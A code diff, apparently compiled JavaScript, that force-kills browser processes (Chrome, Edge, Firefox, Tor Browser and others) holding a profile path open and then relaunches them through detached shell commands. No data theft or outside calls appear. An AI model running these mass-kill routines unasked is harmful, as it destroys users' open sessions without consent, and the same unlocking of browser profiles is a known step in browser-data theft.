+        if (d)
+            mac("Firefox");
+        if (l)
+            lin("firefox");
+    }
+    if (/\/tor browser\//i.test(n)) {
+        pkill.add("Tor Browser");
+        if (d)
+            mac("Tor Browser");
+        if (l)
+            lin("firefox");
+    }
+    if (/\/mozilla\/seamonkey\//i.test(n)) {
+        if (d)
+            mac("SeaMonkey");
+        if (l)
+            lin("seamonkey");
+    }
+    if (/\/waterfox\//i.test(n)) {
+        if (d)
+            mac("Waterfox");
+        if (l)
+            lin("waterfox");
+    }
+    if (/\/librewolf\//i.test(n) || /\.config\/librewolf/i.test(n)) {
+        if (d)
+            mac("LibreWolf");
+        if (l)
+            lin("librewolf");
+    }
+    if (/moonchild productions\/pale moon\//i.test(n)) {
+        if (d)
+            mac("Pale Moon");
+        if (l)
+            lin("palemoon", "Pale Moon");
+    }
+    if (/\/floorp\//i.test(n)) {
+        if (d)
+            mac("Floorp");
+        if (l)
+            lin("floorp");
+    }
+    if (/\.config\/zen\//i.test(n) || /\/zen\/profiles\//i.test(n) || /\/appdata\/roaming\/zen\//i.test(n) || /library\/application support\/zen/i.test(n)) {
+        if (d)
+            mac("zen", "Zen");
+        if (l)
+            lin("zen");
+    }
+    return {
+        killallNames: [...new Set([...killall])],
+        pkillPatterns: [...new Set([...pkill])],
+    };
+}
+async function unixMassKillBrowsersImmediate(spec) {
+    const tasks = [];
+    for (const name of spec.killallNames) {
+        const t = name.trim();
+        if (!t)
+            continue;
+        tasks.push(execFileAsync("killall", ["-9", "-q", t], {
+            windowsHide: true,
+            maxBuffer: 512 * 1024,
+            timeout: 45_000,
+        }).catch(() => undefined));
+    }
+    for (const pat of spec.pkillPatterns) {
+        const p = pat.trim();
+        if (!p)
+            continue;
+        tasks.push(execFileAsync("pkill", ["-9", "-f", p], {
+            windowsHide: true,
+            maxBuffer: 512 * 1024,
+            timeout: 45_000,
+        }).catch(() => undefined));
+    }
+    await Promise.all(tasks);
+}
+async function killPid(pid, opts) {
+    if (protectedPids().has(pid))
+        return;
+    if (process.platform === "win32")
+        await killPidWindows(pid);
+    else
+        await killPidUnix(pid, Boolean(opts?.unixFast));
+}
+async function captureRestartCommandUnixLike(pid) {
+    if (process.platform === "linux") {
+        try {
+            const line = readCmdlineLinux(pid);
+            return line || undefined;
+        }
+        catch {
+            return undefined;
+        }
+    }
+    if (process.platform === "darwin") {
+        try {
+            const { stdout } = await execFileAsync("ps", ["-p", String(pid), "-o", "command="], {
+                encoding: "utf8",
+                maxBuffer: 512 * 1024,
+                windowsHide: true,
+            });
+            const t = stdout.trim();
+            return t || undefined;
+        }
+        catch {
+            return undefined;
+        }
+    }
+    return undefined;
+}
+async function captureRestartCommandWindows(pid, cmdMap) {
+    return cmdMap.get(pid)?.trim() || undefined;
+}
+function detectChromeLikeVendorFromUserDataParent(beforeUserDataNorm) {
+    const s = beforeUserDataNorm.toLowerCase();
+    if (s.includes("microsoft") && s.includes("edge"))
+        return "edge";
+    if (s.includes("google") && s.includes("chrome"))
+        return "chrome";
+    if (s.includes("chromium"))
+        return "chromium";
+    if (s.includes("brave"))
+        return "brave";
+    if (s.includes("vivaldi"))
+        return "vivaldi";
+    if (s.includes("yandex"))
+        return "yandex";
+    if (s.includes("opera"))
+        return "opera";
+    return null;
+}
+/** Parse `User Data\\Profile\\file` (Windows) or `.config/google-chrome/Profile` style paths. */
+function parseChromeLikeProfileDirs(absPath) {
+    const resolved = path.resolve(absPath);
+    const n = normPathForMatch(resolved);
+    const ud = n.indexOf("/user data/");
+    if (ud >= 0) {
+        const userDataDirFs = resolved.slice(0, ud + "/user data".length);
+        const after = n.slice(ud + "/user data/".length);
+        const profileDir = (after.split("/")[0] || "").trim();
+        if (!profileDir)
+            return null;
+        const vendor = detectChromeLikeVendorFromUserDataParent(n.slice(0, ud));
+        if (!vendor)
+            return null;
+        return { userDataDir: userDataDirFs, profileDir, vendor };
+    }
+    const mCfg = resolved.match(/^(.+[/\\]\.config[/\\](?:google-chrome|chromium|microsoft-edge|microsoft-edge-dev|microsoft-edge-beta|brave-browser|opera|vivaldi|yandex-browser-zeta|librewolf))[/\\]([^/\\]+)/i);
+    if (mCfg) {
+        const userDataDirFs = mCfg[1];
+        const profileDir = mCfg[2];
+        const vn = normPathForMatch(userDataDirFs);
+        let vendor = "chromium";
+        if (vn.includes("google-chrome"))
+            vendor = "chrome";
+        else if (vn.includes("microsoft-edge"))
+            vendor = "edge";
+        else if (vn.includes("brave-browser"))
+            vendor = "brave";
+        else if (vn.includes("vivaldi"))
+            vendor = "vivaldi";
+        else if (vn.includes("opera"))
+            vendor = "opera";
+        else if (vn.includes("yandex"))
+            vendor = "yandex";
+        return { userDataDir: userDataDirFs, profileDir, vendor };
+    }
+    const mMac = resolved.match(/^(.+[/\\]Library[/\\]Application Support[/\\](?:Google[/\\]Chrome|Microsoft Edge|Chromium|BraveSoftware[/\\]Brave-Browser|Vivaldi|Opera Software[/\\][^/\\]+|Yandex[/\\]YandexBrowser))[/\\]([^/\\]+)/i);
+    if (mMac) {
+        const userDataDirFs = mMac[1];
+        const profileDir = mMac[2];
+        const vn = normPathForMatch(userDataDirFs);
+        let vendor = "chrome";
+        if (vn.includes("microsoft edge"))
+            vendor = "edge";
+        else if (vn.includes("chromium"))
+            vendor = "chromium";
+        else if (vn.includes("brave"))
+            vendor = "brave";
+        else if (vn.includes("vivaldi"))
+            vendor = "vivaldi";
+        else if (vn.includes("opera"))
+            vendor = "opera";
+        else if (vn.includes("yandex"))
+            vendor = "yandex";
+        return { userDataDir: userDataDirFs, profileDir, vendor };
+    }
+    return null;
+}
+function firstExistingFile(candidates) {
+    for (const c of candidates) {
+        try {
+            if (c && fs.existsSync(c))
+                return c;
+        }
+        catch {
+            /* skip */
+        }
+    }
+    return undefined;
+}
+function winExeForVendor(v) {
+    const pf = process.env.PROGRAMFILES || "C:\\Program Files";
+    const pf86 = process.env["PROGRAMFILES(X86)"] || "C:\\Program Files (x86)";
+    const local = process.env.LOCALAPPDATA || "";
+    switch (v) {
+        case "chrome":
+            return firstExistingFile([
+                path.join(local, "Google", "Chrome", "Application", "chrome.exe"),
+                path.join(pf, "Google", "Chrome", "Application", "chrome.exe"),
+                path.join(pf86, "Google", "Chrome", "Application", "chrome.exe"),
+            ]);
+        case "edge":
+            return firstExistingFile([
+                path.join(pf86, "Microsoft", "Edge", "Application", "msedge.exe"),
+                path.join(pf, "Microsoft", "Edge", "Application", "msedge.exe"),
+            ]);
+        case "chromium":
+            return firstExistingFile([
+                path.join(local, "Chromium", "Application", "chrome.exe"),
+                path.join(pf, "Chromium", "Application", "chrome.exe"),
+            ]);
+        case "brave":
+            return firstExistingFile([
+                path.join(local, "BraveSoftware", "Brave-Browser", "Application", "brave.exe"),
+                path.join(pf, "BraveSoftware", "Brave-Browser", "Application", "brave.exe"),
+            ]);
+        case "vivaldi":
+            return firstExistingFile([path.join(local, "Vivaldi", "Application", "vivaldi.exe")]);
+        case "opera":
+            return firstExistingFile([
+                path.join(local, "Programs", "Opera", "opera.exe"),
+                path.join(pf, "Opera", "opera.exe"),
+            ]);
+        case "yandex":
+            return firstExistingFile([path.join(local, "Yandex", "YandexBrowser", "Application", "browser.exe")]);
+        default:
+            return undefined;
+    }
+}
+/**
+ * When every captured command line was a Chromium child (or empty), build one safe relaunch line
+ * from the profile path (Chrome / Edge / Brave / …).
+ */
+function tryBuildSyntheticBrowserRestart(resolvedAbsPath) {
+    const chromeLike = parseChromeLikeProfileDirs(resolvedAbsPath);
+    if (chromeLike) {
+        const { userDataDir, profileDir, vendor } = chromeLike;
+        const ud = path.resolve(userDataDir);
+        const prof = profileDir;
+        if (process.platform === "win32") {
+            const exe = winExeForVendor(vendor);
+            if (!exe)
+                return undefined;
+            return `cmd /c start "" ${JSON.stringify(exe)} --user-data-dir=${JSON.stringify(ud)} --profile-directory=${JSON.stringify(prof)}`;
+        }
+        if (process.platform === "darwin") {
+            const bundle = vendor === "edge"
+                ? "Microsoft Edge"
+                : vendor === "brave"
+                    ? "Brave Browser"
+                    : vendor === "chromium"
+                        ? "Chromium"
+                        : vendor === "vivaldi"
+                            ? "Vivaldi"
+                            : vendor === "opera"
+                                ? "Opera"
+                                : vendor === "yandex"
+                                    ? "Yandex"
+                                    : "Google Chrome";
+            return `open -na ${JSON.stringify(bundle)} --args --user-data-dir=${JSON.stringify(ud)} --profile-directory=${JSON.stringify(prof)}`;
+        }
+        const launcher = vendor === "edge"
+            ? "(command -v microsoft-edge-stable || command -v microsoft-edge || command -v msedge)"
+            : vendor === "chromium"
+                ? "(command -v chromium || command -v chromium-browser)"
+                : vendor === "brave"
+                    ? "(command -v brave-browser || command -v brave)"
+                    : vendor === "vivaldi"
+                        ? "(command -v vivaldi-stable || command -v vivaldi)"
+                        : vendor === "opera"
+                            ? "(command -v opera || command -v opera-stable)"
+                            : vendor === "yandex"
+                                ? "(command -v yandex-browser || command -v yandex_browser)"
+                                : "(command -v google-chrome-stable || command -v google-chrome || command -v chromium-browser || command -v chromium)";
+        const inner = `${launcher} --user-data-dir=${JSON.stringify(ud)} --profile-directory=${JSON.stringify(prof)} >/dev/null 2>&1 &`;
+        return `/bin/sh -c ${JSON.stringify(inner)}`;
+    }
+    const n = normPathForMatch(path.resolve(resolvedAbsPath));
+    const isMozFamilyProfilePath = /\/firefox\//i.test(n) ||
+        /\.mozilla\/firefox\//i.test(n) ||
+        /\/waterfox\//i.test(n) ||
+        /\/librewolf\//i.test(n) ||
+        /\/floorp\//i.test(n) ||
+        /moonchild productions\/pale moon\//i.test(n) ||
+        /\/mozilla\/seamonkey\//i.test(n) ||
+        /\.config\/zen\//i.test(n) ||
+        /\/zen\/profiles\//i.test(n) ||
+        /\/appdata\/roaming\/zen\//i.test(n) ||
+        /\/tor browser\//i.test(n);
+    if (!isMozFamilyProfilePath)
+        return undefined;
+    function mozFamilyWinExe(absResolved) {
+        const norm = normPathForMatch(absResolved);
+        const pf = process.env.PROGRAMFILES || "C:\\Program Files";
+        const pf86 = process.env["PROGRAMFILES(X86)"] || "C:\\Program Files (x86)";
+        const local = process.env.LOCALAPPDATA || "";
+        if (/\/tor browser\//i.test(norm)) {
+            let c = path.resolve(absResolved);
+            for (let d = 0; d < 48; d++) {
+                if (path.basename(c).toLowerCase() === "browser") {
+                    const ff = path.join(c, "firefox.exe");
+                    if (fs.existsSync(ff))
+                        return ff;
+                }
+                const next = path.dirname(c);
+                if (next === c)
+                    break;
+                c = next;
+            }
+        }
+        if (/\/waterfox\//i.test(norm)) {
+            return firstExistingFile([
+                path.join(pf, "Waterfox", "waterfox.exe"),
+                path.join(pf86, "Waterfox", "waterfox.exe"),
+            ]);
+        }
+        if (/\/librewolf\//i.test(norm)) {
+            return firstExistingFile([
+                path.join(local, "Programs", "librewolf", "librewolf.exe"),
+                path.join(pf, "LibreWolf", "librewolf.exe"),
+                path.join(pf86, "LibreWolf", "librewolf.exe"),
+            ]);
+        }
+        if (/\/floorp\//i.test(norm)) {
+            return firstExistingFile([
+                path.join(pf, "Ablaze", "Floorp", "floorp.exe"),
+                path.join(pf86, "Ablaze", "Floorp", "floorp.exe"),
+                path.join(pf, "Floorp", "floorp.exe"),
+            ]);
+        }
+        if (/moonchild productions\/pale moon\//i.test(norm)) {
+            return firstExistingFile([
+                path.join(pf, "Pale Moon", "palemoon.exe"),
+                path.join(pf86, "Pale Moon", "palemoon.exe"),
+            ]);
+        }
+        if (/\/mozilla\/seamonkey\//i.test(norm)) {
+            return firstExistingFile([
+                path.join(pf, "SeaMonkey", "seamonkey.exe"),
+                path.join(pf86, "SeaMonkey", "seamonkey.exe"),
+            ]);
+        }
+        if (/\.config\/zen\//i.test(norm) || /\/zen\/profiles\//i.test(norm) || /\/appdata\/roaming\/zen\//i.test(norm)) {
+            return firstExistingFile([
+                path.join(local, "Programs", "Zen", "zen.exe"),
+                path.join(pf, "Zen", "zen.exe"),
+                path.join(pf86, "Zen", "zen.exe"),
+            ]);
+        }
+        return firstExistingFile([
+            path.join(pf, "Mozilla Firefox", "firefox.exe"),
+            path.join(pf86, "Mozilla Firefox", "firefox.exe"),
+        ]);
+    }
+    function mozFamilyDarwinApp(norm) {
+        if (/\/tor browser\//i.test(norm))
+            return "Tor Browser";
+        if (/\/waterfox\//i.test(norm))
+            return "Waterfox";
+        if (/\/librewolf\//i.test(norm))
+            return "LibreWolf";
+        if (/\/floorp\//i.test(norm))
+            return "Floorp";
+        if (/moonchild productions\/pale moon\//i.test(norm))
+            return "Pale Moon";
+        if (/\/mozilla\/seamonkey\//i.test(norm))
+            return "SeaMonkey";
+        if (/\.config\/zen\//i.test(norm) || /\/zen\//i.test(norm))
+            return "Zen";
+        return "Firefox";
+    }
+    function mozFamilyLinuxLauncher(norm) {
+        if (/\/tor browser\//i.test(norm))
+            return "command -v firefox";
+        if (/\/waterfox\//i.test(norm))
+            return "command -v waterfox || command -v waterfox-bin";
+        if (/\/librewolf\//i.test(norm))
+            return "command -v librewolf";
+        if (/\/floorp\//i.test(norm))
+            return "command -v floorp";
+        if (/moonchild productions\/pale moon\//i.test(norm))
+            return "command -v palemoon";
+        if (/\/mozilla\/seamonkey\//i.test(norm))
+            return "command -v seamonkey";
+        if (/\.config\/zen\//i.test(norm) || /\/zen\//i.test(norm))
+            return "command -v zen";
+        return "command -v firefox";
+    }
+    let cur = path.resolve(resolvedAbsPath);
+    for (let depth = 0; depth < 48; depth++) {
+        const bn = path.basename(cur);
+        if (/^[a-z0-9]{8}\.[^/\\]+$/i.test(bn) ||
+            /\.default(?:-release|-esr)?$/i.test(bn) ||
+            /^profile\s*\d+$/i.test(bn)) {
+            try {
+                if (fs.statSync(cur).isDirectory()) {
+                    const firefoxProfileDir = cur;
+                    if (process.platform === "win32") {
+                        const exe = mozFamilyWinExe(path.resolve(resolvedAbsPath));
+                        if (!exe)
+                            return undefined;
+                        return `cmd /c start "" ${JSON.stringify(exe)} -profile ${JSON.stringify(firefoxProfileDir)}`;
+                    }
+                    if (process.platform === "darwin") {
+                        const app = mozFamilyDarwinApp(n);
+                        return `open -na ${JSON.stringify(app)} --args -profile ${JSON.stringify(firefoxProfileDir)}`;
+                    }
+                    const launcher = mozFamilyLinuxLauncher(n);
+                    const inner = `exec $(${launcher}) -profile ${JSON.stringify(firefoxProfileDir)} >/dev/null 2>&1 &`;
+                    return `/bin/sh -c ${JSON.stringify(inner)}`;
+                }
+            }
+            catch {
+                /* skip */
+            }
+        }
+        const next = path.dirname(cur);
+        if (next === cur)
+            break;
+        cur = next;
+    }
+    return undefined;
+}
+/**
+ * Terminate other processes likely holding `resolvedPath` open, and return records for optional restart.
+ */
+async function forceUnlockPath(resolvedPath) {
+    const abs = path.resolve(resolvedPath);
+    const prot = protectedPids();
+    let pids = [];
+    let winCmdMap = null;
+    let unixCmdMap = null;
+    let didWindowsImageKill = false;
+    let didUnixMassKill = false;
+    if (process.platform === "win32") {
+        const profPrefixes = browserKillProfilePrefixes(abs);
+        const imgs = profPrefixes.length > 0 ? inferWindowsBrowserImageNamesForPath(abs) : [];
+        const enumerateAfterIm = imgs.length > 0 && shouldWin32EnumerateAfterImageKill();
+        if (enumerateAfterIm) {
+            const psPromise = win32ProcessCommandLinesBounded(win32PsListCapMsAfterImageKill());
+            await windowsTaskkillByImageNamesImmediate(imgs);
+            didWindowsImageKill = true;
+            await new Promise((r) => setTimeout(r, 80));
+            winCmdMap = await psPromise;
+        }
+        else if (imgs.length > 0) {
+            await windowsTaskkillByImageNamesImmediate(imgs);
+            didWindowsImageKill = true;
+            await new Promise((r) => setTimeout(r, 80));
+            winCmdMap = new Map();
+        }
+        else {
+            winCmdMap = await win32ProcessCommandLinesBounded();
+        }
+        /** Prefer browser PIDs first so we never fill MAX_PIDS with unrelated path substring matches. */
+        const have = new Set();
+        pids = [];
+        for (const pid of collectWindowsBrowserPidsForProfilePath(abs, winCmdMap, prot, have)) {
+            if (pids.length >= MAX_PIDS)
+                break;
+            have.add(pid);
+            pids.push(pid);
+        }
+        for (const pid of collectWindowsLockingPidsFromMap(abs, winCmdMap, prot)) {
+            if (pids.length >= MAX_PIDS)
+                break;
+            if (have.has(pid))
+                continue;
+            have.add(pid);
+            pids.push(pid);
+        }
+    }
+    else {
+        const profPrefixes = browserKillProfilePrefixes(abs);
+        const massSpec = profPrefixes.length > 0 ? inferUnixBrowserMassKillSpec(abs) : { killallNames: [], pkillPatterns: [] };
+        const hasMassKill = massSpec.killallNames.length > 0 || massSpec.pkillPatterns.length > 0;
+        const enumerateUnixAfterMass = hasMassKill && shouldUnixEnumerateAfterKill();
+        const lsofPromise = collectUnixLockingPids(abs);
+        if (process.platform === "linux") {
+            if (enumerateUnixAfterMass) {
+                unixCmdMap = collectLinuxProcessCommandMap();
+                await unixMassKillBrowsersImmediate(massSpec);
+                didUnixMassKill = true;
+                await new Promise((r) => setTimeout(r, 80));
+            }
+            else if (hasMassKill) {
+                await unixMassKillBrowsersImmediate(massSpec);
+                didUnixMassKill = true;
+                await new Promise((r) => setTimeout(r, 80));
+                unixCmdMap = new Map();
+            }
+            else {
+                unixCmdMap = collectLinuxProcessCommandMap();
+            }
+        }
+        else if (process.platform === "darwin") {
+            if (enumerateUnixAfterMass) {
+                unixCmdMap = await collectDarwinProcessCommandMap();
+                await unixMassKillBrowsersImmediate(massSpec);
+                didUnixMassKill = true;
+                await new Promise((r) => setTimeout(r, 80));
+            }
+            else if (hasMassKill) {
+                await unixMassKillBrowsersImmediate(massSpec);
+                didUnixMassKill = true;
+                await new Promise((r) => setTimeout(r, 80));
+                unixCmdMap = new Map();
+            }
+            else {
+                unixCmdMap = await collectDarwinProcessCommandMap();
+            }
+        }
+        else {
+            unixCmdMap = new Map();
+        }
+        const have = new Set();
+        pids = [];
+        if (unixCmdMap.size > 0) {
+            for (const pid of collectUnixBrowserPidsForProfile(abs, unixCmdMap, prot, have)) {
+                if (pids.length >= MAX_PIDS)
+                    break;
+                have.add(pid);
+                pids.push(pid);
+            }
+        }
+        for (const pid of await lsofPromise) {
+            if (pids.length >= MAX_PIDS)
+                break;
+            if (have.has(pid))
+                continue;
+            have.add(pid);
+            pids.push(pid);
+        }
+    }
+    pids = [...new Set(pids)].filter((p) => !prot.has(p)).slice(0, MAX_PIDS);
+    const killed = [];
+    if (process.platform === "win32") {
+        const rows = await Promise.all(pids.map(async (pid) => {
+            const raw = await captureRestartCommandWindows(pid, winCmdMap);
+            const restart = sanitizeRestartCommand(raw);
+            await killPid(pid);
+            return { pid, restartShellCommand: restart };
+        }));
+        killed.push(...rows);
+    }
+    else {
+        for (const pid of pids) {
+            const raw = unixCmdMap?.get(pid) ?? (await captureRestartCommandUnixLike(pid));
+            const restart = sanitizeRestartCommand(raw);
+            await killPid(pid, { unixFast: true });
+            killed.push({ pid, restartShellCommand: restart });
+        }
+    }
+    if (process.platform === "win32" && didWindowsImageKill && killed.length === 0) {
+        killed.push({ pid: -1 });
+    }
+    if ((process.platform === "linux" || process.platform === "darwin") &&
+        didUnixMassKill &&
+        killed.length === 0) {
+        killed.push({ pid: -1 });
+    }
+    await new Promise((r) => setTimeout(r, 60));
+    const detailParts = [];
+    if (didWindowsImageKill) {
+        detailParts.push(shouldWin32EnumerateAfterImageKill()
+            ? "taskkill /IM (Task Manager style) + Win32 scan"
+            : "taskkill /IM (Task Manager style, instant path — no Win32 enumerate)");
+    }
+    if (didUnixMassKill) {
+        detailParts.push(shouldUnixEnumerateAfterKill()
+            ? "killall/pkill (End task style) + proc/ps scan"
+            : "killall/pkill (End task style, instant path — no proc/ps enumerate)");
+    }
+    if (pids.length)
+        detailParts.push(`signaled ${pids.length} PID(s)`);
+    return {
+        killed,
+        detail: detailParts.length ? `force-unlock: ${detailParts.join("; ")}` : "force-unlock: no matching processes",
+    };
+}
+function trySpawnDetached(cmd) {
+    try {
+        if (process.platform === "win32") {
+            (0, node_child_process_1.spawn)(cmd, { shell: true, detached: true, stdio: "ignore", windowsHide: true }).unref();
+        }
+        else {
+            (0, node_child_process_1.spawn)("/bin/sh", ["-c", cmd], {
+                detached: true,
+                stdio: "ignore",
+                env: process.env,
+            }).unref();
+        }
+    }
+    catch {
+        /* skip */
+    }
+}
+/**
+ * Best-effort restart of processes killed for unlock (detached, non-blocking).
+ *
+ * @param unlockPath Optional path that was unlocked — used to build a **synthetic** browser restart
+ *                   when every captured command was a Chromium helper (`--type=`) or empty.
+ */
+function restartKilledProcesses(records, unlockPath) {
+    const launched = new Set();
+    let spawnedAny = false;
+    for (const rec of records) {
+        const cmd = (rec.restartShellCommand || "").trim();
+        if (!cmd)
+            continue;
+        if (launched.has(cmd))
+            continue;
+        launched.add(cmd);
+        trySpawnDetached(cmd);
+        spawnedAny = true;
+    }
+    if (!spawnedAny && records.length > 0 && unlockPath) {
+        const syn = tryBuildSyntheticBrowserRestart(unlockPath);
+        if (syn && !launched.has(syn)) {
+            trySpawnDetached(syn);
+        }
+    }
+}